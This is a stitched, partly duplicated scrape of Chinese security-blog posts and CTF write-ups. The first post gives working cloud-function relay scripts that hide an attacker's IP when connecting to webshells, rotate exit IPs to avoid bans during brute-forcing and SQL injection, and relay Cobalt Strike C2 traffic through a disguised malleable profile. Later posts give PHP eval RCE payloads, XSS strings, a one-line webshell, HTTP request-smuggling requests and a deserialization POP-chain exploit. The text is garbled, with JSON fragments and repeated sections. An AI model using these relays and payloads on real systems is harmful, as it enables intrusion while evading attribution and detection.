前言 之前学到一些云函数的利用,感觉很有趣,于是借此篇来总结一下三种对云函数的简单利用方式。 云函数 云函数(Serverless Cloud Function,SCF)是腾讯云为企业和开发者们提供的无服务器执行环境,帮助您在无需购买和管理服务器的情况下运行代码。您只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF 是实时文件处理和数据处理等场景下理想的计算平台。总结云函数的几个特性: 多出口 调用时创建执行 无需服务器VPS承载 防溯源连接Webshell 之前最好的是某安全攻防实验室公众号发布了一篇<论如何防溯源连接Webshell>,利用云函数多出口的特性来规避溯源,可惜的是不久后就该文章就被删除了。以下介绍实际的利用方式 云函数创建 选择自定义创建 函数代码中脚本如下,主要是通过将Webshell地址作为参数传入云函数API中,在云函数服务端脚本中重组Webshell地址以及POST命令内容,将重组后的请求内容转发给Webshel #!/usr/bin/env # -*- coding:utf-8 -*- import requests import json from urllib.parse import urlsplit def geturl(urlstr):        jurlstr = json.dumps(urlstr)        dict_url = json.loads(jurlstr)        return dict_url['u'] def main_handler(event, context):        url = geturl(event['queryString'])        host = urlsplit(url).netloc        postdata = event['body']        headers=event['headers']        headers["HOST"] = host        resp=requests.post(url,data=postdata,headers=headers,verify=False)        response={        "isBase64Encoded": False,        "statusCode": 200,        "headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},        "body": resp.text   }        return response 在触发器配置中选择API网关触发,然后点击创建,过一会会提示创建成功。 利用 我们可以通过蚁剑直接连接Webshell,URL请求地址填为api地址+webshell地址 https://service-dafetmeh-xxxx/release/Webshell_Bypass?u=http://xxxx/webshell.php  然后vps端通过监控日志查看访问webshell的ip地址 通过access.log可以发现每次请求都是不同的ip地址并且都是来自上海地区的腾讯云(根据自己选择地区而改变)  通过云函数的方法我们便可以隐藏连接Webshell的本机IP地址,从而防止溯源,如果使用可以蚁剑,为了达到更隐秘的目的,可以自行对Webshell流量进行加解密的操作来逃逸流量检测,流量检测+白名单IOC的方式可以完美的逃避检测。 注入/目录爆破爆破防Ban 云函数其实也可以作为一种变相的代理池供我们所用,利用云函数的多出口性来防止爆破或者SQL注入的时候被Ban 云函数创建 这里可以哈希安全团队公开的SCF-Proxy来实现,第一次看到Scf-Proxy的概念的应该是学蚁致用的作者,通过客户端监听获取请求并且组装API请求,服务端云函数解析且重组API请求,通过SCF-Proxy不光可以实现代理http请求,也可以代理https请求(类似Burp中间人监听的方式) 项目地址:https://github.com/hashsecteam/scf-proxy  下载下来然后利用Golang编译客户端和服务端,这里我把客户端编译成Win版本使用 还是选择自定义创建,但是这里要选择Go,而不是默认的python,并,执行方法改为server,且选择本地上传zip,将server.zip上传上去 触发管理中依然选择API网关管理,创建完成后来到触发管理获取API地址 利用 首先客户端开启监听 ./client.exe -port 10086 云函数api地址 此时再通过dirsearch设置http代理的方式爆破VPS的目录  查看access_log可以看到爆破的ip地址分布 由于此次选择的是广州地区,于是访问的ip基本都是来自广州  也可以代理访问https网站 由此可以实现爆破目录以及Sqlmap的爆破不被Ban C2隐藏 通过云函数的特性,我们依然可以做到CS上线的隐藏,由于Cs支持HTTP/HTTPS类型的Beacon,因此我们也可以通过云函数来转发HTTP/HTTPS请求,该方法学习自狼组北美第一突破手师傅 云函数创建 与第一种别无二样,依然选择API网关触发的方式,就是云函数服务端脚本修改为如下 # -*- coding: utf8 -*- import json,requests,base64 def main_handler(event, context):    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~    path=event['path']    headers=event['headers']    print(event)    if event['httpMethod'] == 'GET' :        resp=requests.get(C2+path,headers=headers,verify=False)    else:        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)        print(resp.headers)        print(resp.content)    response={        "isBase64Encoded": True,        "statusCode": resp.status_code,        "headers": dict(resp.headers),        "body": str(base64.b64encode(resp.content))[2:-1]   }    return response Cs可以定制Profile来更加隐匿流量这里使用如下的Profile set sample_name "kris_abao"; set sleeptime "3000"; set jitter   "0"; set maxdns   "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get {   set uri "/api/getit";   client {       header "Accept" "*/*";       metadata {           base64;           prepend "SESSIONID=";           header "Cookie";       }   }   server {       header "Content-Type" "application/ocsp-response";       header "content-transfer-encoding" "binary";       header "Server" "Nodejs";       output {           base64;           print;       }   } } http-stager {     set uri_x86 "/vue.min.js";   set uri_x64 "/bootstrap-2.min.js"; } http-post {   set uri "/api/postit";   client {       header "Accept" "*/*";       id {           base64;           prepend "JSESSION=";           header "Cookie";       }       output {           base64;           print;       }   }   server {       header "Content-Type" "application/ocsp-response";       header "content-transfer-encoding" "binary";       header "Connection" "keep-alive";       output {           base64;           print;       }   } } 创建完后放到将api.profile放到服务端Cs上可以通过c2lint检查一下profile,可以看到正常的定义http类型Beacon的get和post请求时的样子 监听设置 生成木马,点击后上线 公网地址会不断的跳,因为这里呈现的是请求源的IP,也就是我们的云函数IP地址,基本都是腾讯的IDC机房中的IP 在该过程中遇到了一些问题,比如说Stager较大,导致请求超时,这时候可以修改代码加点演示设置即可。
连异常报错也能拿到flag?
https://www.yijinglab.com/pages/CTFLaboratory.jsp 前言: 本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。 脸滚键盘打出来的函数也能执行? 没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。 比如,有如下PHP代码: <?php tian(phpinfo());在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()参数,这样的PHP代码能运行起来吗? 当然不能,除非tian这个函数在内部已经自定义好了,否则这一串代码是一定报错的。 那么有没有办法让PHP正常执行这个程序呢? 有,那必须有,甚至只需要一行 <?php function tian(){} tian(phpinfo());新添加的这一行代码本质上就是给tian这个函数进行一个声明,这样整一个程序就能正常运行了。 这个时候可能就会有小机灵鬼发现了一个问题,在tian这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢? 从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。 举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作: 举个最常见的函数: <?php $sql = mysqli_connect(phpinfo(),"root","root","mysql");mysql_connect作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo(),这个时候程序可以将phpinfo()打印出来。 至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢? 为什么我的对象打印不出来? 在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下: <?php class tian{    public $id = "Lxxx";    function getid()   {        return $this->id;   } } echo new tian();这个代码报错如下: 这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString,这个魔术方法会在对象被当做字符串的时候调用。 因此将上方程序进行修改,修改后的代码如下: <?php class tian{    public $id = "Lxxx";    function getid()   {        return $this->id;   }    function __toString()   {        return $this->id;   } } echo new tian();这个时候,程序就可以正常执行了 这个时候我们修改一下代码: <?php class tian{    public $id;    function __construct($id)   {        $this->id = $id;   }    function __toString()   {        return $this->id;   } } echo new tian(phpinfo());这个时候,结合上面的内容,应该就能理解这一部分代码 代码执行如下: 程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo(),程序会先执行phpinfo() 那么将这两个特性结合起来有什么用呢? 下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。 表演一个异常报错实现RCE 题目代码如下: <?php //flag in flag.php highlight_file(__FILE__); if ( isset($_GET['a']) && isset($_GET['b'])) {    $a = $_GET['a'];    $b = $_GET['b'];    eval("echo new $a($b());"); }关键代码为:eval("echo new $a($b());"); 首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类 我们先测试一下,传payload:?a=mysqli&b=phpinfo 这个时候是正常回显phpinfo,但是想要命令执行还是有些许距离。 因此我们需要找到一个PHP自带类,并且这个类需要有__toString()魔术方法,我们这里找到一个类为Exception。 其中PHP官方手册对这个类的__toString()描述如下: 这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢? <?php echo new Exception(system("whoami")()); 那就先执行命令,然后将执行命令的结果作为参数传给Exception 所以传payload:?a=exception&b=system("whoami") 这个即可RCE 除此之外,Exception中__toString()魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。 举个例子: <?php echo new Exception("$_GET[1]");这个时候传:?1=<script>alert("XSS");</script> 是可以XSS 当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。
,'\\\\','\\^'];\r\n        foreach ($blacklist as $blackitem) {\r\n                if (preg_match('\u002F' . $blackitem . '\u002Fm', $str)) {\r\n                        die(\"what are you want to do?\");\r\n               }\r\n       }\r\n        eval('echo '.$str.';');\r\n}\r\n?\u003E \r\n\r\n用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致:\r\n\r\n\r\n到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念\r\n\r\n什么是HTTP请求走私\r\n\r\nHTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。\r\n\r\nTransfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。\r\n\r\n这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。\r\n\r\n如何实现HTTP请求走私攻击\r\n\r\n当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。\r\n\r\nCL不为0时\r\n\r\n该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。\r\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nContent-Length : 51\\r\\n\r\n\\r\\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nattack: 1\\r\\n\r\nhhh: \r\n\r\n这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中\r\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nContent-Length : 51\\r\\n\r\n\\r\\n\r\nGET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nattack: 1\\r\\n\r\nhhh: GET \u002F HTTP\u002F1.1\\r\\n\r\nHost: example.com\\r\\n\r\nContent-Length : 51\\r\\n\r\n\r\n这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。\r\n\r\nCL-TE \r\n\r\nCL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示:\r\n\r\nPOST \u002F HTTP\u002F1.1\r\nHost: ac911f721f9ee241c01763ef008600f8.web-security-academy.net\r\nConnection: close\r\nCache-Control: max-age=0\r\nsec-ch-ua: \"Chromium\";v=\"94\", \"Google Chrome\";v=\"94\", \";Not A Brand\";v=\"99\"\r\nsec-ch-ua-mobile: ?0\r\nsec-ch-ua-platform: \"Windows\"\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F94.0.4606.81 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\r\nSec-Fetch-Site: none\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-User: ?1\r\nSec-Fetch-Dest: document\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n \r\n0\r\n \r\nA\r\n\r\n当我们用Burp两次重放该数据包,会得到返回结果:\r\n\r\n\r\n解释一下为什么Content-Length的长度是6,因为Burp把\\r\\n给直接解释成换行了,实际请求体应该是这样:\r\n\r\n0\\r\\n\r\n\\r\\n\r\nA\r\n\r\n后端服务器读到0\\r\\n\\r\\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。\r\n\r\nTE-CL \r\n\r\nTE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头:\r\n\r\nPOST \u002F HTTP\u002F1.1\r\nHost: acae1fe41e622a9bc0c7189700950000.web-security-academy.net\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F94.0.4606.81 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\r\nCookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ\r\nContent-length: 4\r\nTransfer-Encoding: chunked\r\n \r\n5c\r\nGPOST \u002F HTTP\u002F1.1\r\nContent-Type: application\u002Fx-www-form-urlencoded\r\nContent-Length: 15\r\n \r\nx=1\r\n0\r\n \r\n \r\n\r\n前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\\r\\n\\r\\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。\r\n\r\n\r\nCL-CL\r\n\r\nCL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理\r\n\r\n回到最初\r\n\r\n因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。",pic:"\u002Fcloud-image\u002Fnews\u002F79f1ea9e-7bee-4f35-8337-5a66adc697a5.png",openTime:"2021-11-03T10:40:28+08:00",viewsNum:1472},{id:"20211102152020",type:a,title:"记一道2021浙江省赛的Web题",abstract:"https:\u002F\u002Fwww.yijinglab.com\u002Fpages\u002FCTFLaboratory.jsp\r\n前景:\r\n\r\n刚刚结束的浙江省网络安全大赛,其中Web类的第二题考察了POP链以及原生类的利用,在比赛期间只构造了POP链、得到flag的文件名,但是并没有利用原生类将flag文件完整读出来。这篇文章将会把这个题涉及到的知识点复现一遍,并且给出这个题详细的WP。\r\n\r\n原生类:\r\n\r\n报错类\r\n\r\nError\r\n\r\n在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。\r\n\r\n例如,有以下代码:\r\n\r\n\u003C?php \r\n$a = $_GET['a'];\r\n$b = $_GET['b'];\r\necho new $a($b);\r\n\r\n当传入下方payload的时候,会产生XSS\r\n\r\n?a=Error&b=\u003Cscript\u003Ealert(\"Lxxx\");\u003C\u002Fscript\u003E\r\n\r\nException\r\n\r\n与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。\r\n\r\n?a=Exception&b=\u003Cscript\u003Ealert(\"Lxxx\");\u003C\u002Fscript\u003E\r\n\r\n这个时候可能就会有聪明又帅气的师傅们问了,那既然是会被PHP执行,那么可不可以往里面传一句话木马呢?\r\n\r\n同样还是上方的测试代码,我们传以下payload:\r\n\r\n?a=Exception&b=eval($_POST[1]);\r\n\r\n可以看到,传入的一句话木马被原封不动的打印出来,因此在上方这种测试代码中,无法RCE。\r\n\r\n不过如果将测试代码换一个写法,那么就可以RCE,我们将测试代码修改如下:\r\n\r\n\u003C?php \r\n$a = $_GET['a'];\r\n$b = $_GET['b'];\r\neval(\"echo new $a($b());\");\r\n\r\n这个时候我们传入以下payload\r\n\r\n?a=Exception&b=system('whoami')\r\n\r\n这个时候虽然报错了,但是仍然可以RCE,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE。\r\n\r\n遍历目录类\r\n\r\nDirectoryIterator\r\n\r\nDirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项\r\n\r\n假设我们有以下代码:\r\n\r\n\u003C?php \r\n$a = $_GET['a'];\r\n$b = $_GET['b'];\r\necho new $a($b);\r\n\r\n这个时候我们传参如下:\r\n\r\n?a=DirectoryIterator&b=.\r\n\r\n在页面中返回了一个点(真的是一个点,不是显示屏上的污渍)\r\n\r\n这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议\r\n\r\n?a=DirectoryIterator&b=glob:\u002F\u002Fflag*\r\n\r\n那么这个时候又有聪明又帅气的师傅要问了,如果这个时候不知道flag文件名怎么办?\r\n\r\n答案是:暴力搜索\r\n\r\n?a=DirectoryIterator&b=glob:\u002F\u002Ff[k-m]*\r\n\r\nglob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@到[都允许匹配,也就是匹配大写字母。\r\n\r\nFilesystemIterator\r\n\r\n同样的,如果DirectoryIterator类因为奇奇怪怪的原因被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多,这里就不过多赘述。\r\n\r\nGlobIterator\r\n\r\nGlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容\r\n\r\n?a=GlobIterator&b=f[k-m]*\r\n\r\n读取文件类\r\n\r\nSplFileObject\r\n\r\nSplFileObject类为文件提供了一个面向对象接口\r\n\r\n说句人话就是这个类可以用来读文件,具体怎么读呢?下面做个测试。\r\n\r\n同样还是这个测试代码:\r\n\r\n\u003C?php \r\n$a = $_GET['a'];\r\n$b = $_GET['b'];\r\necho new $a($b);\r\n\r\n我们传payload如下:\r\n\r\n?a=SplFileObject&b=flag.php\r\n\r\n利用这个类可以将我们的flag.php文件读出来\r\n\r\n不过有细心又帅气的师傅要问了,你这怎么就读了一行啊,还读了一个假的flag,你这SplFileObject保熟嘛?\r\n\r\n确实,SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历,不过还有没有其他方法将其读取出来呢?\r\n\r\n我们先看官方文档,看看SplFileObject类的__construct方法到底是怎么样的?\r\n\r\n可以看到,要求我们传入的参数是一个文件名,参数是文件名的方法联想到了什么?还有哪些方法是需要传入文件名的?(require,include,file_get_contents,file_put_contents等等等等)\r\n\r\n而这些方法都有一个共同点就是,可以用伪协议。\r\n\r\n虽然官方文档上没有说(也可能是因为我没看到),但是我们还是可以大胆的猜想,SplFileObject可以使用伪协议。\r\n\r\n因此我们传入payload:\r\n\r\n?a=SplFileObject&b=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=flag.php\r\n\r\n可以看到,这个时候flag.php就被我们完整的读取出来了。\r\n\r\n其余类\r\n\r\n本质上不能说是其余类,不过在文章的后半部分会讲解今年浙江网安省赛其中一道web题,其余没有在这道题中用到的原生类我就不在这里赘述了,给个类名让师傅们参考参考。\r\n\r\n\r\nReflectionMethod\r\n\r\n\r\nReflectionClass\r\n\r\n\r\nSoapClient\r\n\r\n\r\nSimpleXMLElement\r\n\r\n\r\nZipArchive\r\n\r\n\r\n2021浙江网络安全省赛Web2的WP\r\n\r\n题目代码如下:\r\n\r\n\u003C?php\r\nerror_reporting(0);\r\nclass A1{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function __construct()\r\n   {\r\n        echo \"Enjoy Hacking!\";\r\n   }\r\n    public function __wakeup()\r\n   {\r\n        $this-\u003Etmp1-\u003Ehacking();\r\n   }\r\n}\r\nclass A2\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function hacking()\r\n   {\r\n        echo \"Hacked By Bi0x\";\r\n   }\r\n}\r\nclass A3\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function hacking()\r\n   {\r\n        $this-\u003Etmp2-\u003Eget_flag();\r\n   }\r\n}\r\nclass A4\r\n{\r\n    public $tmp1='1919810';\r\n    public $tmp2;\r\n    public function get_flag()\r\n   {\r\n        echo \"flag{\".$this-\u003Etmp1.\"}\";\r\n   }\r\n}\r\nclass A5\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function __call($a,$b)\r\n   {\r\n        $f=$this-\u003Etmp1;\r\n        $f();\r\n   }\r\n}\r\nclass A6\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function __toString()\r\n   {\r\n        $this-\u003Etmp1-\u003Ehack4fun();\r\n        return \"114514\";\r\n   }\r\n}\r\nclass A7\r\n{\r\n    public $tmp1=\"Hello World!\";\r\n    public $tmp2;\r\n    public function __invoke()\r\n   {\r\n        echo \"114514\".$this-\u003Etmp2.$this-\u003Etmp1;\r\n   }\r\n}\r\nclass A8\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function hack4fun()\r\n   {\r\n        echo \"Last step,Ganbadie~\";\r\n        if(isset($_GET['DAS']))\r\n       {\r\n            $this-\u003Etmp1=$_GET['DAS'];\r\n       }\r\n        if(isset($_GET['CTF']))\r\n       {\r\n            $this-\u003Etmp2=$_GET['CTF'];\r\n       }\r\n        echo new $this-\u003Etmp1($this-\u003Etmp2);\r\n   }\r\n}\r\nif(isset($_GET['DASCTF']))\r\n{\r\n    unserialize($_GET['DASCTF']);\r\n}\r\nelse{\r\n    highlight_file(__FILE__);\r\n}\r\n\r\n这道题的前半部分是POP链的相关内容,由于POP链不在这篇文章涉及到的知识点范围之内,因此就简略一点,直接给出我在做题的时候写的思路以及POC\r\n\r\n\u003C?php\r\n \r\nclass A1{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function __construct()\r\n   {\r\n $this-\u003Etmp1 = new A3();\r\n        echo \"Enjoy Hacking!\".\"\u003Cbr\u002F\u003E\";\r\n   }\r\n    public function __wakeup()\r\n   {\r\n        $this-\u003Etmp1-\u003Ehacking();\r\n   }\r\n}\r\nclass A2\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n    public function hacking()\r\n   {\r\n        echo \"Hacked By Bi0x\";\r\n   }\r\n}\r\nclass A3\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n public function __construct()\r\n {\r\n $this-\u003Etmp2 = new A4();\r\n }\r\n    public function hacking()\r\n   {\r\n \r\n        $this-\u003Etmp2-\u003Eget_flag();\r\n   }\r\n}\r\nclass A4\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n public function __construct()\r\n {\r\n $this-\u003Etmp1 = new A6();\r\n }\r\n    public function get_flag()\r\n   {\r\n        echo \"flag{\".$this-\u003Etmp1.\"}\";\r\n   }\r\n}\r\nclass A5\r\n{\r\n    public $tmp1 = \"\";\r\n    public $tmp2;\r\n    public function __call($a,$b)\r\n   {\r\n        $f=$this-\u003Etmp1;\r\n        $f();\r\n   }\r\n}\r\nclass A6\r\n{\r\n    public $tmp1;\r\n    public $tmp2;\r\n public function __construct()\r\n {\r\n $this-\u003Etmp1 = new A8();\r\n }\r\n    public function __toString()\r\n   {\r\n        $this-\u003Etmp1-\u003Ehack4fun();\r\n        return \"114514\";\r\n   }\r\n}\r\nclass A7\r\n{\r\n    public $tmp1=\"Hello World!\";\r\n    public $tmp2;\r\n    public function __invoke()\r\n   {\r\n        echo \"114514\".$this-\u003Etmp2.$this-\u003Etmp1;\r\n   }\r\n}\r\nclass A8\r\n{\r\n    public $tmp1 ;\r\n    public $tmp2 ;\r\n    public function hack4fun()\r\n   {\r\n        echo \"Last step,Ganbadie~\";\r\n        if(isset($_GET['DAS']))\r\n       {\r\n            $this-\u003Etmp1=$_GET['DAS'];\r\n       }\r\n        if(isset($_GET['CTF']))\r\n       {\r\n            $this-\u003Etmp2=$_GET['CTF'];\r\n       }\r\n        echo new $this-\u003Etmp1($this-\u003Etmp2);\r\n   }\r\n}\r\n \r\n$a = new A1();\r\necho urlencode(serialize($a));\r\n\r\n得到部分payload:\r\n\r\nO%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A\n\r\n将上方的payload传入DASCTF参数即可\r\n\r\n这个时候当字符串反序列化到A8这个类中,需要我们传入DAS以及CTF参数,其中关键代码如下:\r\n\r\necho new $this-\u003Etmp1($this-\u003Etmp2);\r\n\r\n因此我们先把flag文件名找出来,我们可以利用DirectoryIterator类结合glob遍历目录,得到flag文件名为flaggggggggggg.php\r\n\r\n?DAS=DirectoryIterator&CTF=glob:\u002F\u002Fflag*\r\n\r\n得到文件名之后就读取文件,利用SplFileObject类结合伪协议读取flaggggggggggg.php文件\r\n\r\n?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7D\n\r\n最终再将浏览器的回显进行base64解码即可得到flag",pic:"https:\u002F\u002Flxxx-markdown.oss-cn-beijing.aliyuncs.com\u002Fpictures\u002F20211024165405.png",openTime:"2021-11-02T15:20:59+08:00",viewsNum:38643},{id:"20211026150931",type:a,title:"云函数(变相代理池)的三种常见利用",abstract:"前言\r\n\r\n之前学到一些云函数的利用,感觉很有趣,于是借此篇来总结一下三种对云函数的简单利用方式。\r\n\r\n云函数\r\n\r\n云函数(Serverless Cloud Function,SCF)是腾讯云为企业和开发者们提供的无服务器执行环境,帮助您在无需购买和管理服务器的情况下运行代码。您只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF 是实时文件处理和数据处理等场景下理想的计算平台。总结云函数的几个特性:\r\n\r\n\r\n多出口\r\n\r\n\r\n调用时创建执行\r\n\r\n\r\n无需服务器VPS承载\r\n\r\n\r\n防溯源连接Webshell\r\n\r\n之前最好的是某安全攻防实验室公众号发布了一篇\u003C论如何防溯源连接Webshell\u003E,利用云函数多出口的特性来规避溯源,可惜的是不久后就该文章就被删除了。以下介绍实际的利用方式\r\n\r\n云函数创建\r\n\r\n选择自定义创建\r\n\r\n\r\n函数代码中脚本如下,主要是通过将Webshell地址作为参数传入云函数API中,在云函数服务端脚本中重组Webshell地址以及POST命令内容,将重组后的请求内容转发给Webshel\r\n\r\n#!\u002Fusr\u002Fbin\u002Fenv \r\n# -*- coding:utf-8 -*-\r\nimport requests\r\nimport json\r\nfrom urllib.parse import urlsplit \r\ndef geturl(urlstr):\r\n        jurlstr = json.dumps(urlstr)\r\n        dict_url = json.loads(jurlstr)\r\n        return dict_url['u']\r\ndef main_handler(event, context):\r\n        url = geturl(event['queryString'])\r\n        host = urlsplit(url).netloc\r\n        postdata = event['body']\r\n        headers=event['headers']\r\n        headers[\"HOST\"] = host \r\n        resp=requests.post(url,data=postdata,headers=headers,verify=False)\r\n        response={\r\n        \"isBase64Encoded\": False,\r\n        \"statusCode\": 200,\r\n        \"headers\": {'Content-Type': 'text\u002Fhtml;charset='+resp.apparent_encoding},\r\n        \"body\": resp.text\r\n   }\r\n        return response\r\n 